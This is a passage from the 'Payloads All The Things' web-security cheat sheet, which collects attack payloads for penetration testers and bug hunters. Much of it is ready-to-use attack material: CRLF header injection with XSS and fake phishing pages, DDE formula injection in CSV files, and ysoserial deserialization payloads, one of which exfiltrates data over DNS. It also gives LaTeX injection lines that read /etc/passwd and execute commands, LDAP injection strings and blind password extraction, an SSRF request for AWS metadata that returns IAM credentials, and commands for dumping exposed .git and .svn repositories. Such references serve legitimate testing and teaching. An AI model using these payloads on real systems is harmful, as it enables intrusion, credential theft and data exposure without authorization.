Payloads All The Things

A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! I <3 pull requests :)

You can also contribute with a beer IRL or with `buymeacoffee.com`

 (https://buymeacoff.ee/swissky)

Every section contains:

- README.md - vulnerability description and how to exploit it
- Intruders - a set of files to give to Burp Intruder
- Some exploits

You might also like :

- Methodology and Resources (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
  - Active Directory Attack.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
  - Methodology_and_enumeration.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md)
  - Network Pivoting Techniques.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md)
  - Reverse Shell Cheatsheet.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
  - Windows - Download and Execute.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md)
  - Windows - Mimikatz.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md)
  - Windows - Persistence.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md)
  - Windows - Privilege Escalation.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
  - Windows - Using credentials.md (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md)
- CVE Exploits (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits)
  - Apache Struts 2 CVE-2017-5638.py
  - Apache Struts 2 CVE-2017-9805.py
  - Drupalgeddon2 CVE-2018-7600.rb
  - Heartbleed CVE-2014-0160.py
  - Shellshock CVE-2014-6271.py
  - Tomcat CVE-2017-12617.py

Try Harder

Ever wonder where you can use your knowledge ? The following list will help you find "targets" to improve your skills.

- **Bug Bounty Platforms**
  - HackerOne (https://hackerone.com)
  - BugCrowd (https://bugcrowd.com)
  - Bounty Factory (https://bountyfactory.io)
  - Synack (https://www.synack.com/)
  - Intigriti (https://www.intigriti.com)
  - List of Bounty Program (https://bugcrowd.com/list-of-bug-bounty-programs/)
- **Online Platforms**
  - Hack The Box (hackthebox.eu/)
  - Penetration test lab "Test lab" | Pentestit (https://lab.pentestit.ru)
  - PentesterLab : Learn Web Penetration Testing: The Right Way (https://pentesterlab.com/)
  - Zenk-Security (https://www.zenk-security.com/epreuves.php)
  - Root-Me (https://www.root-me.org)
  - W3Challs (https://w3challs.com/)
  - NewbieContest (https://www.newbiecontest.org/)
  - Vulnhub (https://www.vulnhub.com/)
  - The Cryptopals Crypto Challenges (https://cryptopals.com/)
  - alert(1) to win (https://alf.nu/alert1)
  - Hacksplaining (https://www.hacksplaining.com/exercises)
  - HackThisSite (https://hackthissite.org)
  - Hackers.gg (hackers.gg)
  - Mind Map - Penetration Testing Practice Labs - Aman Hardikar (http://www.amanhardikar.com/mindmaps/Practice.html)

Book's list

Grab a book and relax, these ones are the best security books (in my opinion).

- Web Hacking 101 (https://leanpub.com/web-hacking-101)
- Breaking into Information Security: Learning the Ropes 101 - Andrew Gill (https://leanpub.com/ltr101-breaking-into-infosec)
- OWASP Testing Guide v4 (https://www.owasp.org/index.php/OWASP_Testing_Project)
- Penetration Testing: A Hands-On Introduction to Hacking (http://amzn.to/2dhHTSn)
- The Hacker Playbook 2: Practical Guide to Penetration Testing (http://amzn.to/2d9wYKa)
- The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition (http://a.co/6MqC9bD)
- The Mobile Application Hacker's Handbook (http://amzn.to/2cVOIrE)
- Black Hat Python: Python Programming for Hackers and Pentesters (http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
- Metasploit: The Penetration Tester's Guide (https://www.nostarch.com/metasploit)
- The Database Hacker's Handbook, David Litchfield et al., 2005 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
- The Shellcoders Handbook by Chris Anley et al., 2007 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
- The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
- The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
- iOS Hackers Handbook by Charlie Miller et al., 2012 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
- Android Hackers Handbook by Joshua J. Drake et al., 2014 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
- The Browser Hackers Handbook by Wade Alcorn et al., 2014 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
- The Mobile Application Hackers Handbook by Dominic Chell et al., 2015 (http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
- Car Hacker's Handbook by Craig Smith, 2016 (https://www.nostarch.com/carhacking)

More resources

Blogs/Websites

- BUG BOUNTY FIELD MANUAL: THE DEFINITIVE GUIDE FOR PLANNING, LAUNCHING, AND OPERATING A SUCCESSFUL BUG BOUNTY PROGRAM (https://www.hackerone.com/blog/the-bug-bounty-field-manual)
- How to become a Bug Bounty Hunter - Sam Houston (https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102)
- Tips from Top Hackers – Bug Hunting methodology and the importance of writing quality submissions - Sam Houston (https://www.bugcrowd.com/tips-from-top-hackers-bug-hunting-methodology-and-the-importance-of-writing-quality-submissions/)
- ARNE SWINNEN'S SECURITY BLOG JUST ANOTHER INFOSEC BLOG (https://www.arneswinnen.net)
- XSS Jigsaw - innerht.ml (https://blog.innerht.ml)
- ZeroSec Blog: Featuring Write-Ups, Projects & Adventures (https://blog.zsec.uk/tag/ltr101/)

Youtube

- Hunting for Top Bounties - Nicolas Grégoire (https://www.youtube.com/watch?v=mQjTgDuLsp4)
- BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen (https://www.youtube.com/watch?v=dsekKYNLBbc)
- Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén (https://www.youtube.com/watch?v=KDo68Laayh8)
- IppSec Channel - Hack The Box Writeups (https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA)

Docker

Command	Link
`docker pull remnux/metasploit`	docker-metasploit (https://hub.docker.com/r/remnux/metasploit/)
`docker pull paoloo/sqlmap`	docker-sqlmap (https://hub.docker.com/r/paoloo/sqlmap/)
`docker pull kalilinux/kali-linux-docker`	official Kali Linux (https://hub.docker.com/r/kalilinux/kali-linux-docker/)
`docker pull owasp/zap2docker-stable`	official OWASP ZAP (https://github.com/zaproxy/zaproxy)
`docker pull wpscanteam/wpscan`	official WPScan (https://hub.docker.com/r/wpscanteam/wpscan/)
`docker pull infoslack/dvwa`	Damn Vulnerable Web Application (DVWA) (https://hub.docker.com/r/infoslack/dvwa/)
`docker pull danmx/docker-owasp-webgoat`	OWASP WebGoat Project docker image (https://hub.docker.com/r/danmx/docker-owasp-webgoat/)
`docker pull opendns/security-ninjas`	Security Ninjas (https://hub.docker.com/r/opendns/security-ninjas/)
`docker pull ismisepaul/securityshepherd`	OWASP Security Shepherd (https://hub.docker.com/r/ismisepaul/securityshepherd/)
`docker-compose build && docker-compose up`	OWASP NodeGoat (https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker)
`docker pull citizenstig/nowasp`	OWASP Mutillidae II Web Pen-Test Practice Application (https://hub.docker.com/r/citizenstig/nowasp/)
`docker pull bkimminich/juice-shop`	OWASP Juice Shop (https://github.com/bkimminich/juice-shop#docker-container)

Amazon Bucket S3 AWS

Prerequisites, at least you need awscli

```
sudo apt install awscli
```

You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential (https://console.aws.amazon.com/iam/home?#/security_credential) but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/ (https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/)

```
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```

```
aws configure --profile nameofprofile
```

then you can use *--profile nameofprofile* in the aws command

By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/ (http://s3.amazonaws.com/[bucket_name]/) , you can browse open buckets if you know their names

```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
```

Basic test - Listing the files

```
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2
```

You can get the region with a dig and nslookup

```
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```

Move a file into the bucket

```
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (
AccessDenied) occurred when calling the PutObject operation: Access Denied."

aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```

Download every things (in an open bucket)

```
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-req
uest --region us-west-2
```

Check bucket disk size (authenticated) use, --no-sign for un-authenticated

```
aws s3 ls s3://<bucketname> --recursive  | grep -v -E "(Bucket: |Prefix: |LastWriteTi
me|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
```

AWS - Extract Backup

```
aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",

aws --profile flaws  ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-
2
"SnapshotId": "snap-XXXX342abd1bdcb89",

Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2
  --snapshot-id  snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem  ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com

Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
```

Bucket informations

Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
```

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE w
ill return the AccessKeyID, SecretAccessKey, and Token
```

For example with a proxy :
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
(http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/)

Bucket Finder

A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.

```
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
    US Standard         = http://s3.amazonaws.com
    Ireland             = http://s3-eu-west-1.amazonaws.com
    Northern California = http://s3-us-west-1.amazonaws.com
    Singapore           = http://s3-ap-southeast-1.amazonaws.com
    Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```

Use a custom wordlist for the bucket finder, can be created with

```
List of Fortune1000 company names with permutations on .com, -backup, -media. For exa
mple, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example
, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
```

Thanks to

- https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets (https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
- https://digi.ninja/projects/bucket_finder.php (https://digi.ninja/projects/bucket_finder.php)
- Bug Bounty Survey - AWS Basic test (https://twitter.com/bugbsurveys/status/859389553211297792)
- FlAWS.cloud Challenge based on AWS vulnerabilities (http://flaws.cloud/)

CRLF

The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today's popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

CRLF - Add a cookie

Requested page

```
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```

HTTP Response

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```

CRLF - Add a cookie - XSS Bypass

Requested page

```
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%
0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

HTTP Response

```
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
```

```
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0
```

CRLF - Write HTML

Requested page

```
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```

HTTP response

```
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>
```

CRLF - Filter Bypass

Using UTF-8 encoding

```
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
```

Remainder:

- %E5%98%8A = %0A = \u560a
- %E5%98%8D = %0D = \u560d

- %E5%98%BE = %3E = \u563e (>)
- %E5%98%BC = %3C = \u563c (<)

Thanks to

- https://www.owasp.org/index.php/CRLF_Injection (https://www.owasp.org/index.php/CRLF_Injection)
- https://vulners.com/hackerone/H1:192749 (https://vulners.com/hackerone/H1:192749)

CSV Excel formula injection

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Exploit

Basic exploit with Dynamic Data Exchange

```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
```

Technical Details of the above payload: cmd is the name the server can respond to whenever a client is trying to access the server /C calc is the file name which in our case is the calc(i.e the calc.exe) !Ao is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

```
=
+
-
@
```

Thanks to

- OWASP - CSV Excel Macro Injection (https://owasp.org/index.php/CSV_Excel_Macro_Injection)
- Google Bug Hunter University - CSV Excel formula injection (https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
- Comma Separated Vulnerabilities - James Kettle (https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)

Common Vulnerabilities and Exposures

Big CVEs in the last 5 years.

CVE-2014-0160 - Heartbleed

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

CVE-2014-6271 - Shellshock

Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

CVE-2017-5638 - Apache Struts 2

On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the "Content-Type" header.

Thanks to

- http://heartbleed.com (http://heartbleed.com)
- https://en.wikipedia.org/wiki/Shellshock_(software_bug (https://en.wikipedia.org/wiki/Shellshock_(software_bug))
- Imperva Apache Struts analysis (https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)

Insecured source code management

GIT - Source code management

Github example with a .git

1. Check 403 error (Forbidden) for .git or even better : directory listing
2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)

```
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000	clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000	commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000	commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000	commit: Prevent directory listing.
```

3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,

```
# create a .git directory
git init test
cd test/.git

# download the file
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the content of the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.
```

4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39

```
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/

git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
    040000 tree bd083286051cd869ee6485a3046b9935fbd127c0	css
    100644 blob cb6139863967a752f3402b3975e97a84d152fd8f	flag.txt
    040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97	fonts
    100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1	index.html
    040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8	js
```

5. Read the data (flag.txt)

```
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
```

```
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```

Automatic way : diggit.py

```
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with thei
r real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

Alternative way : rip-git

```
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

SVN - Source code management

SVN example (Wordpress)

```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db (http://server/path_to_vulnerable_site/.svn/wc.db)

   ```
   INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'
   file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de
   ',38,1456056261000000,NULL,NULL);
   ```

2. Download interesting files
   - remove \$sha1\$ prefix
   - add .svn-base postfix
   - use first two signs from hash as folder name inside pristine/ directory (94 in this case)
   - create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

Automatic way

```
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"
```

Thanks to

- bl4de, https://github.com/bl4de/research/tree/master/hidden_directories_leaks (https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
- bl4de, https://github.com/bl4de/security-tools/tree/master/diggit (https://github.com/bl4de/security-

tools/tree/master/diggit)

Java Deserialization

Exploit

ysoserial (https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

```
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payl
oad.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | bas
e64
```

payload	author	dependencies	impact (if not RCE)
BeanShell1	@pwntester, @cschneider4711	bsh:2.0b5	
C3P0	@mbechler	c3p0:0.9.5.2, mchange-commons-java:0.2.11	
Clojure	@JackOfMostTrades	clojure:1.8.0	
CommonsBeanutils1	@frohoff	commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2	
CommonsCollections1	@frohoff	commons-collections:3.1	
CommonsCollections2	@frohoff	commons-collections4:4.0	
CommonsCollections3	@frohoff	commons-collections:3.1	
CommonsCollections4	@frohoff	commons-collections4:4.0	
CommonsCollections5	@matthias_kaiser, @jasinner	commons-collections:3.1	
CommonsCollections6	@matthias_kaiser	commons-collections:3.1	

payload	author	dependencies	impact (if not RCE)
FileUpload1	@mbechler	commons-fileupload:1.3.1, commons-io:2.4	file uploading
Groovy1	@frohoff	groovy:2.3.9	
Hibernate1	@mbechler		
Hibernate2	@mbechler		
JBossInterceptors1	@matthias_kaiser	javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
JRMPClient	@mbechler		
JRMPListener	@mbechler		
JSON1	@mbechler	json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1	
JavassistWeld1	@matthias_kaiser	javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
Jdk7u21	@frohoff		
Jython1	@pwntester, @cschneider4711	jython-standalone:2.5.2	
MozillaRhino1	@matthias_kaiser	js:1.7R2	
Myfaces1	@mbechler		

payload	author	dependencies	impact (if not RCE)
Myfaces2	@mbechler		
ROME	@mbechler	rome:1.0	
Spring1	@frohoff	spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE	
Spring2	@mbechler	spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2	
URLDNS	@gebl		jre only vuln detect
Wicket1	@jacob-baines	wicket-util:6.23.0, slf4j-api:1.6.4	

Additional tools (integration ysoserial with Burp Suite):

- JavaSerialKiller (https://github.com/NetSPI/JavaSerialKiller)
- Java Deserialization Scanner (https://github.com/federicodotta/Java-Deserialization-Scanner)
- Burp-ysoserial (https://github.com/summitt/burp-ysoserial)
- SuperSerial (https://github.com/DirectDefense/SuperSerial)
- SuperSerial-Active (https://github.com/DirectDefense/SuperSerial-Active)

JRE8u20_RCE_Gadget https://github.com/pwntester/JRE8u20_RCE_Gadget (https://github.com/pwntester/JRE8u20_RCE_Gadget)

Thanks to

- Github - ysoserial (https://github.com/frohoff/ysoserial)
- Java-Deserialization-Cheat-Sheet - GrrrDog (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- Understanding & practicing java deserialization exploits (https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)

LaTex Injection

Read file

```
\input{/etc/passwd}
\include{password} # load .tex file
```

Read single lined file

```
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```

Read multiple lined file

```
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file
```

Read text file, keep the formatting

```
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```

Write file

```
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```

Command execution

The input of the command will be redirected to stdin, use a temp file to get it.

```
\immediate\write18{env > output}
\input{output}
```

If you get any LaTex error, consider using base64 to get the result without bad characters

```
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```

```
\input|ls|base4
\input{|"/bin/hostname"}
```

Thanks to

- Hacking with LaTeX - Sebastian Neef - 0day.work (https://0day.work/hacking-with-latex/)
- Latex to RCE, Private Bug Bounty Program - Yasho (https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
- Pwning coworkers thanks to LaTeX (http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

LDAP injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Exploitation

Example 1.

```
user  = *)(uid=*))(|(uid=*
pass  = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
```

Example 2

```
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```

Payloads

```
*
*)(&
*))%00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```

Blind Exploitation

We can extract using a bypass login

```
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```

Thanks to

- OWASP LDAP Injection (https://www.owasp.org/index.php/LDAP_injection)
- LDAP Blind Explorer (http://code.google.com/p/ldap-blind-explorer/)

Bug Hunting Methodology and Enumeration

Summary

- Enumerate all subdomains
    - Subbrute
    - KnockPy
    - GoogleDorks
    - EyeWitness
    - Sublist3r
    - Aquatone
- Passive Recon
    - Shodan
    - Wayback Machine
    - The Harvester
- Active Recon
    - Nmap
    - Nmap Script
    - RPCClient
    - Enum4all
- List all the subdirectories and files
    - Gobuster
    - Backup File Artifacts Checker
- Web Vulnerabilities
    - Repository Github
    - Burp
    - Web Checklist
    - Nikto
    - Payment functionality

Enumerate all subdomains (only if the scope is

*.domain.ext)

Using Subbrute

```
git clone https://github.com/TheRook/subbrute
python subbrute.py domain.example.com
```

Using KnockPy with Daniel Miessler's SecLists for subdomain "/Discover/DNS"

```
git clone https://github.com/guelfoweb/knock
git clone https://github.com/danielmiessler/SecLists.git
knockpy domain.com -w subdomains-top1mil-110000.txt
```

Using Google Dorks and Google Transparency Report

You need to include subdomains ;) https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
